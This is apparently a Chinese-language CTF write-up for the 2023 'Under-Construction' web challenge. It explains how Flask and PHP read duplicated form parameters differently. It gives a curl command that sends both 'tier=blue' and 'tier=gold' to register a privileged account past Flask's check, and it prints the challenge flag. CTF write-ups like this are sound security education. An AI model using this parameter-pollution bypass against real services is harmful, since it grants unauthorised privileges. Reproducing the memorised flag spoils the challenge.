CTF-Writeups

CTF Writeups for fun!😋

View project on GitHub

UNDER-CONSTRUCTION

We were building a web app but the new CEO wants it remade in php.

Attachment https://under-construction-web.2023.ctfcompetition.com https://under-construction-php-web.2023.ctfcompetition.com


题目提供了Flask和PHP两个站点,用户可以在Flask站点进行注册,注册的账号可以同时用于登录Flask和PHP两个站点.

分析代码:

Flask会将HTTP请求原始查询参数转发到PHP应用程序中完成用户注册.

# File: /flask/authorized_routes.py
@authorized.route('/signup', methods=['POST'])
def signup_post():
    raw_request = request.get_data()
    ...
    requests.post(f"http://{PHP_HOST}:1337/account_migrator.php", 
        headers={"token": TOKEN, "content-type": request.headers.get("content-type")}, data=raw_request)
    return redirect(url_for('authorized.login'))

只有gold级别的用户,在PHP站点登录后才可以看到FLAG

# File: /php/index.php
function getResponse()
{
    ...
    $response = "Login successful. Welcome " . htmlspecialchars($username) . ".";

    if ($tier === "gold") {
        $response .= " " . getenv("FLAG");
    }

    return $response;
}

Flask会对查询参数进行校验,防止创建高权限的用户.

# File: /flask/authorized_routes.py
@authorized.route('/signup', methods=['POST'])
def signup_post():
    ...
    tier = models.Tier(request.form.get('tier'))
    if(tier == models.Tier.GOLD):
        flash('GOLD tier only allowed for the CEO')
        return redirect(url_for('authorized.signup'))
    ...

HTTP查询参数中存在重复的key时,在Flask和PHP有不同的行为,flask会取第一个值,而PHP会取最后一个值.

因此我们可以构造如下命令,以此绕过Flask对查询参数的校验,并在PHP中注册高权限用户.

curl

curl -X POST https://under-construction-web.2023.ctfcompetition.com/signup -d "username=admin&password=admin&tier=blue&tier=gold"

然后用上述的用户名和密码去PHP站点登录即可.

flag: CTF{ff79e2741f21abd77dc48f17bab64c3d}